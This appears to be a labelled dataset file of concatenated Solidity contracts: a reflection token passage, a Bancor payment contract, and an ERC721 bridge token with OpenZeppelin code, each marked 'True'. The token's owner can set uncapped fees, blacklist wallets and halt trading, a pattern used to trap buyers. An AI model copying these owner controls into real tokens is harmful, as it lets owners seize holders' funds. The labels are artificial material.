_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns(
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns(
uint256,
uint256,
uint256
) {
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns(
uint256,
uint256,
uint256
) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for (uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
True
|
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pragma solidity 0.4.24;
// File: contracts/common/Ownable.sol
/**
* Ownable contract from Open zepplin
* https://github.com/OpenZeppelin/openzeppelin-solidity/
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts/common/ReentrancyGuard.sol
/**
* Reentrancy guard from open Zepplin :
* https://github.com/OpenZeppelin/openzeppelin-solidity/
*
* @title Helps contracts guard agains reentrancy attacks.
* @author Remco Bloemen <remco@2π.com>
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/**
* @dev We use a single lock for the whole contract.
*/
bool private reentrancyLock = false;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one nonReentrant function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and a `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
require(!reentrancyLock);
reentrancyLock = true;
_;
reentrancyLock = false;
}
}
// File: contracts/common/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/interfaces/ERC20Interface.sol
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
//TODO : Flattener does not like aliased imports. Not needed in actual codebase.
interface IERC20Token {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
// File: contracts/interfaces/IBancorNetwork.sol
contract IBancorNetwork {
function convert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public payable returns (uint256);
function convertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for) public payable returns (uint256);
function convertForPrioritized2(
IERC20Token[] _path,
uint256 _amount,
uint256 _minReturn,
address _for,
uint256 _block,
uint8 _v,
bytes32 _r,
bytes32 _s)
public payable returns (uint256);
// deprecated, backward compatibility
function convertForPrioritized(
IERC20Token[] _path,
uint256 _amount,
uint256 _minReturn,
address _for,
uint256 _block,
uint256 _nonce,
uint8 _v,
bytes32 _r,
bytes32 _s)
public payable returns (uint256);
}
/*
Bancor Contract Registry interface
*/
contract IContractRegistry {
function getAddress(bytes32 _contractName) public view returns (address);
}
// File: contracts/TokenPaymentBancor.sol
/*
* @title Token Payment using Bancor API v0.1
* @author Haresh G
* @dev This contract is used to convert ETH to an ERC20 token on the Bancor network.
* @notice It does not support ERC20 to ERC20 transfer.
*/
contract IndTokenPayment is Ownable, ReentrancyGuard {
using SafeMath for uint256;
IERC20Token[] public path;
address public destinationWallet;
//Minimum tokens per 1 ETH to convert
uint256 public minConversionRate;
IContractRegistry public bancorRegistry;
bytes32 public constant BANCOR_NETWORK = "BancorNetwork";
event conversionSucceded(address from,uint256 fromTokenVal,address dest,uint256 minReturn,uint256 destTokenVal);
event conversionMin(uint256 min);
constructor(IERC20Token[] _path,
address destWalletAddr,
address bancorRegistryAddr,
uint256 minConvRate){
path = _path;
bancorRegistry = IContractRegistry(bancorRegistryAddr);
destinationWallet = destWalletAddr;
minConversionRate = minConvRate;
}
function setConversionPath(IERC20Token[] _path) public onlyOwner {
path = _path;
}
function setBancorRegistry(address bancorRegistryAddr) public onlyOwner {
bancorRegistry = IContractRegistry(bancorRegistryAddr);
}
function setMinConversionRate(uint256 minConvRate) public onlyOwner {
minConversionRate = minConvRate;
}
function setDestinationWallet(address destWalletAddr) public onlyOwner {
destinationWallet = destWalletAddr;
}
function convertToInd() internal nonReentrant {
assert(bancorRegistry.getAddress(BANCOR_NETWORK) != address(0));
IBancorNetwork bancorNetwork = IBancorNetwork(bancorRegistry.getAddress(BANCOR_NETWORK));
uint256 minReturn = minConversionRate.mul(msg.value);
uint256 convTokens = bancorNetwork.convertFor.value(msg.value)(path,msg.value,minReturn,destinationWallet);
assert(convTokens > 0);
emit conversionSucceded(msg.sender,msg.value,destinationWallet,minReturn,convTokens);
}
//If accidentally tokens are transferred to this
//contract. They can be withdrawn by the followin interface.
function withdrawToken(IERC20Token anyToken) public onlyOwner nonReentrant returns(bool){
if( anyToken != address(0x0) ) {
assert(anyToken.transfer(destinationWallet, anyToken.balanceOf(this)));
}
return true;
}
//ETH cannot get locked in this contract. If it does, this can be used to withdraw
//the locked ether.
function withdrawEther() public onlyOwner nonReentrant returns(bool){
if(address(this).balance > 0){
destinationWallet.transfer(address(this).balance);
}
return true;
}
function () public payable {
//Bancor contract can send the transfer back in case of error, which goes back into this
//function ,convertToInd is non-reentrant.
convertToInd();
}
/*
* Helper function
*
*/
function getBancorContractAddress() public view returns(address) {
return bancorRegistry.getAddress(BANCOR_NETWORK);
}
}
|
True
|
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pragma solidity 0.7.5;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
interface IBurnableMintableERC721Token is IERC721 {
function mint(address _to, uint256 _tokeId) external;
function burn(uint256 _tokenId) external;
function setTokenURI(uint256 _tokenId, string calldata _tokenURI) external;
}
pragma solidity 0.7.5;
interface IOwnable {
function owner() external view returns (address);
}
pragma solidity 0.7.5;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "../interfaces/IOwnable.sol";
import "../interfaces/IBurnableMintableERC721Token.sol";
/**
* @title ERC721BridgeToken
* @dev template token contract for bridged ERC721 tokens.
*/
contract ERC721BridgeToken is ERC721, IBurnableMintableERC721Token {
address public bridgeContract;
constructor(
string memory _name,
string memory _symbol,
address _bridgeContract
) ERC721(_name, _symbol) {
bridgeContract = _bridgeContract;
}
/**
* @dev Throws if sender is not a bridge contract.
*/
modifier onlyBridge() {
require(msg.sender == bridgeContract);
_;
}
/**
* @dev Throws if sender is not a bridge contract or bridge contract owner.
*/
modifier onlyOwner() {
require(msg.sender == bridgeContract || msg.sender == IOwnable(bridgeContract).owner());
_;
}
/**
* @dev Tells if this contract implements the interface defined by
* `interfaceId`. See the corresponding EIP165.
* @return true, if interface is implemented.
*/
function supportsInterface(bytes4 interfaceId) public view override(ERC165, IERC165) returns (bool) {
bytes4 INTERFACE_ID_ERC165 = 0x01ffc9a7;
bytes4 INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
bytes4 INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
return
interfaceId == INTERFACE_ID_ERC165 ||
interfaceId == INTERFACE_ID_ERC721 ||
interfaceId == INTERFACE_ID_ERC721_METADATA ||
interfaceId == INTERFACE_ID_ERC721_ENUMERABLE;
}
/**
* @dev Stub for preventing unneeded storage writes.
* All supported interfaces are hardcoded in the supportsInterface function.
*/
function _registerInterface(bytes4) internal override {}
/**
* @dev Mint new ERC721 token.
* Only bridge contract is authorized to mint tokens.
* @param _to address of the newly created token owner.
* @param _tokenId unique identifier of the minted token.
*/
function mint(address _to, uint256 _tokenId) external override onlyBridge {
_safeMint(_to, _tokenId);
}
/**
* @dev Burns some ERC721 token.
* Only bridge contract is authorized to burn tokens.
* @param _tokenId unique identifier of the burned token.
*/
function burn(uint256 _tokenId) external override onlyBridge {
_burn(_tokenId);
}
/**
* @dev Sets the base URI for all tokens.
* Can be called by bridge owner after token contract was instantiated.
* @param _baseURI new base URI.
*/
function setBaseURI(string calldata _baseURI) external onlyOwner {
_setBaseURI(_baseURI);
}
/**
* @dev Updates the bridge contract address.
* Can be called by bridge owner after token contract was instantiated.
* @param _bridgeContract address of the new bridge contract.
*/
function setBridgeContract(address _bridgeContract) external onlyOwner {
require(_bridgeContract != address(0));
bridgeContract = _bridgeContract;
}
/**
* @dev Sets the URI for the particular token.
* Can be called by bridge owner after token bridging.
* @param _tokenId URI for the bridged token metadata.
* @param _tokenURI new token URI.
*/
function setTokenURI(uint256 _tokenId, string calldata _tokenURI) external override onlyOwner {
_setTokenURI(_tokenId, _tokenURI);
}
/**
* @dev Tells the current version of the ERC721 token interfaces.
*/
function getTokenInterfacesVersion()
external
pure
returns (
uint64 major,
uint64 minor,
uint64 patch
)
{
return (1, 0, 1);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../../utils/Context.sol";
import "./IERC721.sol";
import "./IERC721Metadata.sol";
import "./IERC721Enumerable.sol";
import "./IERC721Receiver.sol";
import "../../introspection/ERC165.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
import "../../utils/EnumerableSet.sol";
import "../../utils/EnumerableMap.sol";
import "../../utils/Strings.sol";
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
